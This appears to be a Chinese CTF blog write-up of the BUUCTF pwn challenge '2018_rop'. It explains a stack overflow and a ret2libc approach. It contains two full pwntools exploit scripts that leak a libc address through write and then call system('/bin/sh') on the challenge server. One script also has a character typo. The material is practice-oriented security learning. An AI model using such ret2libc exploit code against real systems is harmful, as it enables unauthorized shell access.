【BUUCTFPWN】铁人三项(第五赛区)_2018_rop

先用checksec检查一下,只开了NX,能用栈溢出。
在这里插入图片描述
IDA反编译一下,里面也很简单,就调用了一个be_nice_to_peoplevulnerable_function两个函数。
在这里插入图片描述

一次查看一下,be_nice_to_people里面调用了getegid库函数,
vulnerable_function函数里顶一个了个136字节的栈空间,但是read函数可以输入256个字节,可以栈溢出。
在这里插入图片描述
在这里插入图片描述
看一看真个文件的函数表,和字符串表,没有找到system之类的函数,也没有/bin/sh之类的字符串。有很长的栈溢出空间,可以使用ret2libc解决这道题。

ret2libc题的精髓在于我们要找到将某一个函数的got表进行输出,一定要用到一个输出函数,第一次rop链的输出围绕着构造输出函数的寄存器设置、栈内容设置展开。拿到got表的输出后,然后是找到库内可利用函数的地址,第二次的rop链围绕着获取shell展开。

此处,我们除了可以使用getegid查找库,也可以使用read或者write查找库。

使用LibcSearcher解题的exploit如下:

from pwn import *
from LibcSearcher import *
context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'

io = remote('node4.buuoj.cn',28161)

getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']

payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)

io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc = LibcSearcher('getegid',getegid_addr)
libc_base = getegid_addr - libc.dump('getegid')
system = libc_base + libc.dump('system')
bins = libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x88+4)
payload += p32(system)
payload += b'read'
payload += p32(bins)

io.sendline(payload)

io.sendline(b'cat flag')
io.interactive()

不知道由于什么原因,使用LibcSearcher没有跑通,出现了以下的错误:
在这里插入图片描述
换了一个网上找的exploit也是在这个语句有问题,之后查了查说是可能上游服务器崩溃了,具体原因不清楚。

之后是使用了手动查库然后一个个试出来的。
手动查库网址:https://libc.blukat.me/
在这里插入图片描述
手动查库的时候,自己第一遍先略过了后缀为64的库,结果都不对,才把剩下的都试了试,发现正确的库前面确实写着i386,以后手动查库的时候还是要准确一些,先找可能性最大的,不然真的浪费好多时间。

查库的exploit如下:

from pwn import *

context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'

io = remote('node4.buuoj.cn',28161)

getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']

payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)

io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc_base = getegid_addr - 0x0bebc0
system = libc_base + 0x03cd10
bins = libc_base + 0x17b8cf
payload = b'a' *(0×88+4) + p32(system) + p32(main) + p32(bins)

io.sendline(payload)

io.sendline(b'cat flag')
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值